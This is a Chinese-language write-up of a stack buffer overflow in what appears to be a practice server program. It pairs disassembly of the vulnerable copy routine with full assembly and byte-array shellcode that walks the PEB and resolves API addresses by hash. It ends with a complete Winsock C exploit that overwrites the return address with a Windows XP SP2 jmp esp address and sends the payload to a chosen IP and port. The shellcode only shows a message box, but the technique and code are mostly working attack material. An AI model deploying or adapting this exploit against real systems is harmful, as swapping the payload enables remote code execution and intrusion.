漏洞描述:
问题出现在这个函数
0040124B |> \8D5424 34 |lea edx, dword ptr [esp+34]
0040124F |. 52 |push edx //收到的数据
00401250 |. E8 ABFDFFFF |call 00401000
跟进去发现
00401000 /$ 81EC C8000000 sub esp, 0C8 //分配的0xC8字节的堆栈空间,当传入的数据长度大于0xC8的时候,就会造成堆栈溢出,覆盖这个函数返回地址。
00401006 |. 83C9 FF or ecx, FFFFFFFF
00401009 |. 33C0 xor eax, eax
0040100B |. 8D5424 00 lea edx, dword ptr [esp]
0040100F |. 56 push esi
00401010 |. 57 push edi
00401011 |. 8BBC24 D40000>mov edi, dword ptr [esp+D4]
00401018 |. 68 4C904000 push 0040904C ; ASCII "********************"
0040101D |. F2:AE repne scas byte ptr es:[edi]
0040101F |. F7D1 not ecx
00401021 |. 2BF9 sub edi, ecx
00401023 |. 8BC1 mov eax, ecx
00401025 |. 8BF7 mov esi, edi
00401027 |. 8BFA mov edi, edx
00401029 |. C1E9 02 shr ecx, 2
0040102C |. F3:A5 rep movs dword ptr es:[edi], dword p>//这儿是进行传入的数据写入本函数的堆栈,超过0xC8个字节就会造成溢出。
0040102E |. 8BC8 mov ecx, eax
00401030 |. 83E1 03 and ecx, 3
00401033 |. F3:A4 rep movs byte ptr es:[edi], byte ptr>
00401035 |. B9 689A4000 mov ecx, 00409A68
所以我们可以在0xC8写入我们的jmp esp的地址,后面跟上我们构造的shellcode,这样通过执行jmp esp后就是执行我们构造的shellcode。
Shellcode来自于修改www.hick.org的代码,
简单说一下我改造后的shellcode的功能,这是一个通用的弹出一个messagebox的窗口,
通过PEB的方式找到kernel32.dll的基址,再通过计算函数名的HASH值,到kernel32.dll的导出表找出对应的函数的地址,我要找的函数有LoadLibraryA,GetModuleHandleA,ExitProcess,要用GetModuleHandleA是因为查询该进程是否装载了动态库user32.dll,如果装载了就不用LoadLibraryA装载了user32.dll了,不然会出错的,通过GetModuleHandleA可以找出已经装载的user32.dll库的基址,然后通过MessageBoxA的HASH值找到user32.dll导出表中的MessageBoxA函数地址。执行MessageBoxA弹出窗口后,利用ExitProcess退出程序。
__asm
{
MsgPop:
jmp startup_bnc // Jump to the startup bounce point
#include "generic.c"
startup_bnc:
jmp startup // Jump to the real startup
resolve_symbols_for_dll:
lodsd // Load the current dword from esi into eax
push eax // Push the hash as the second argument to find_function
push edx // Push the base address of the current dll being loaded from
call find_function // Call find_function
mov [edi], eax // Store the return address in the current output buffer pointer
add esp, 0x08 // Restore eight bytes to the stack.
add edi, 0x04 // Add 4 bytes to the output buffer to move to the next slot
cmp esi, ecx // Have we reached the end?
jne resolve_symbols_for_dll // If not, continue loading
resolve_symbols_for_dll_finished:
ret // Return to the caller
kernel32_symbol_hashes:
EMIT_4_LITTLE_ENDIAN(0x8e,0x4e,0x0e,0xec) // LoadLibraryA [0x04]
EMIT_4_LITTLE_ENDIAN(0x04,0x49,0x32,0xD3) //GetModuleHandleA
EMIT_4_LITTLE_ENDIAN(0x7e,0xd8,0xe2,0x73) // ExitProcess [0x08]
ws2_32_symbol_hashes:
EMIT_4_LITTLE_ENDIAN(0xA8,0xA2,0x4D,0xBC) //MessageBoxA [0x0c]
startup:
sub esp, 0x60 // Allocate 0x60 bytes of stack space
mov ebp, esp // Use ebp as the frame pointer
jmp get_absolute_address_forward // Jump forward past the middle
get_absolute_address_middle:
jmp get_absolute_address_end // Jump to the end now that we have our VMA on the stack
get_absolute_address_forward:
call get_absolute_address_middle // Call to the middle to push the VMA of 'pop esi' onto the stack
get_absolute_address_end:
pop esi // Pop the return address from the stack into esi
call find_kernel32 // Find the kernel32.dll base address through whatever means
mov edx, eax // Save the kernel32.dll base address in edx
resolve_kernel32_symbols:
sub esi, 0x1e // Offset esi 0x36 bytes back from 'pop esi'
lea edi, [ebp + 0x04] // Set edi to the start of our output buffer
mov ecx, esi // Set ecx to the address of the first hash
add ecx, 0x0c // Set the stop point to the first hash address + 0x10
call resolve_symbols_for_dll // Resolve all the kernel32.dll symbols
xor eax, eax // Zero eax
mov ax, 0x3233 // Set the low order bytes of eax to '32'
push eax // Push '32\0\0'
push 0x72657375 // Push 'user'
mov ebx, esp // Save the pointer to the 'user32' string in ebx
push ecx // Save ecx so that it does not get clobbered
push edx // Save edx so that it does not get clobbered
push ebx // Push the 'user32' string pointer onto the stack
call [ebp + 0x08]
pop edx // Restore edx
pop ecx
test eax,eax
jne IsLoaded
resolve_user32_symbols:
add ecx,0x04
xor eax, eax // Zero eax
mov ax, 0x3233 // Set the low order bytes of eax to '32'
push eax // Push '32\0\0'
push 0x72657375 // Push 'user'
mov ebx, esp // Save the pointer to the 'user32' string in ebx
push ecx // Save ecx so that it does not get clobbered
push edx // Save edx so that it does not get clobbered
push ebx // Push the 'user32' string pointer onto the stack
call [ebp + 0x04] // Call LoadLibraryA
pop edx // Restore edx
pop ecx // Restore ecx
mov edx, eax // Set edx to the base address of user32.dll
call resolve_symbols_for_dll // Resolve all the user32.dll symbols
MessageBox_xee:
xor ebx,ebx
push ebx
push 0x65656578 //xeee.
mov eax,esp
push ebx
push eax
push eax
push ebx
call [ebp+0x10] //MessageBox(NULL,”xeee”,”xeee”,MB_OK);
exit_process:
call [ebp + 0x0c] // Call ExitProcess
IsLoaded:
add ecx,0x04
mov edx,eax
call resolve_symbols_for_dll
jmp MessageBox_xee
}
这是一个通用的95/98/ME/NT/2K/XP/2003的弹出窗口的shellcode,
因为它是动态的找出函数的地址,而不是平台依赖的硬编码,所以它是非常稳定的shellcode.
我的exploit
#include <stdio.h>
#include <WinSock2.h>
#pragma comment (lib,"ws2_32")
unsigned char uszShellcode[] ={
0xEB,0x70,0x56,0x33,0xC0,0x64,0x8B,0x40,0x30,0x85,0xC0,0x78,0x0C,0x8B,0x40,0x0C
,0x8B,0x70,0x1C,0xAD,0x8B,0x40,0x08,0xEB,0x09,0x8B,0x40,0x34,0x8D,0x40,0x7C,0x8B
,0x40,0x3C,0x5E,0xC3,0x60,0x8B,0x6C,0x24,0x24,0x8B,0x45,0x3C,0x8B,0x54,0x05,0x78
,0x03,0xD5,0x8B,0x4A,0x18,0x8B,0x5A,0x20,0x03,0xDD,0xE3,0x34,0x49,0x8B,0x34,0x8B
,0x03,0xF5,0x33,0xFF,0x33,0xC0,0xFC,0xAC,0x84,0xC0,0x74,0x07,0xC1,0xCF,0x0D,0x03
,0xF8,0xEB,0xF4,0x3B,0x7C,0x24,0x28,0x75,0xE1,0x8B,0x5A,0x24,0x03,0xDD,0x66,0x8B
,0x0C,0x4B,0x8B,0x5A,0x1C,0x03,0xDD,0x8B,0x04,0x8B,0x03,0xC5,0x89,0x44,0x24,0x1C
,0x61,0xC3,0xEB,0x25,0xAD,0x50,0x52,0xE8,0xA8,0xFF,0xFF,0xFF,0x89,0x07,0x83,0xC4
,0x08,0x83,0xC7,0x04,0x3B,0xF1,0x75,0xEC,0xC3,0x8E,0x4E,0x0E,0xEC,0x04,0x49,0x32
,0xD3,0x7E,0xD8,0xE2,0x73,0xA8,0xA2,0x4D,0xBC,0x83,0xEC,0x60,0x8B,0xEC,0xEB,0x02
,0xEB,0x05,0xE8,0xF9,0xFF,0xFF,0xFF,0x5E,0xE8,0x55,0xFF,0xFF,0xFF,0x8B,0xD0,0x83
,0xEE,0x1E,0x8D,0x7D,0x04,0x8B,0xCE,0x83,0xC1,0x0C,0xE8,0xB5,0xFF,0xFF,0xFF,0x33
,0xC0,0x66,0xB8,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53
,0xFF,0x55,0x08,0x5A,0x59,0x85,0xC0,0x75,0x34,0x83,0xC1,0x04,0x33,0xC0,0x66,0xB8
,0x33,0x32,0x50,0x68,0x75,0x73,0x65,0x72,0x8B,0xDC,0x51,0x52,0x53,0xFF,0x55,0x04
,0x5A,0x59,0x8B,0xD0,0xE8,0x7B,0xFF,0xFF,0xFF,0x33,0xDB,0x53,0x68,0x78,0x65,0x65
,0x65,0x8B,0xC4,0x53,0x50,0x50,0x53,0xFF,0x55,0x10,0xFF,0x55,0x0C,0x83,0xC1,0x04
,0x8B,0xD0,0xE8,0x5D,0xFF,0xFF,0xFF,0xEB,0xE0,0xCC};
//Universal shellcode for MessageBoxA
//MessageBox(NULL,"xeee","xeee",MB_OK);
unsigned char uszJmps[] =
/* 0x77D5B0E0 - jmp esp user32.dll (Windows XP SP2) */
"\xE0\xB0\xD5\x77"
;
void usage(){
printf("\n\t\tExploit me Stack Overflow\n"
"\t\t\t(c) 2007 by xee\n\n"
"usage: exploit.exe <ip> <port>\n");
}
int main( int argc, char **argv ) {
WSADATA wsaData;
SOCKET sConnect;
SOCKADDR_IN sockAddr;
char szRecvBuf[4096];
unsigned char uszPacket[4096];
int nRet;
if ( argc < 3 ) {
usage();
return -1;
}
if ( WSAStartup( MAKEWORD( 2, 0 ), &wsaData ) != NO_ERROR ) {
printf("[-] Unable to startup winsock\n");
return -1;
}
sConnect = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( sConnect == INVALID_SOCKET ) {
printf("[-] Invalid socket\n");
return -1;
}
sockAddr.sin_family = AF_INET;
sockAddr.sin_addr.s_addr = inet_addr( argv[1] );
sockAddr.sin_port = htons( atoi( argv[2] ) );
printf("[+] Connecting to %s:%s\n", argv[1], argv[2] );
nRet = connect( sConnect, (SOCKADDR *)&sockAddr, sizeof( sockAddr ) );
if ( nRet == SOCKET_ERROR ) {
closesocket( sConnect );
printf("[-] Cannot connect to server\n");
return -1;
}
memset(uszPacket, 0x2e, sizeof(uszPacket)-1 );
memcpy(uszPacket+0xc8,uszJmps,sizeof(uszJmps)-1);//rewrite return address to uszJmps
memcpy(uszPacket+0xcc,uszShellcode,sizeof(uszShellcode)-1); //write the Msg Shellcode
printf("[+] Sending overflow packet...\n");
nRet = send( sConnect, (const char *)uszPacket, sizeof(uszPacket)-1, 0 );
if ( nRet == SOCKET_ERROR ) {
closesocket( sConnect );
printf("[-] Cannot send\n");
return -1;
}
nRet = send( sConnect, (const char *)uszPacket, sizeof( uszPacket ), 0 );
if ( nRet == SOCKET_ERROR ) {
closesocket( sConnect );
printf("[-] Cannot send\n");
return -1;
}
printf("[+] Pop up a message box about xeee :)\n");
Sleep(1000);
closesocket( sConnect );
return 0;
}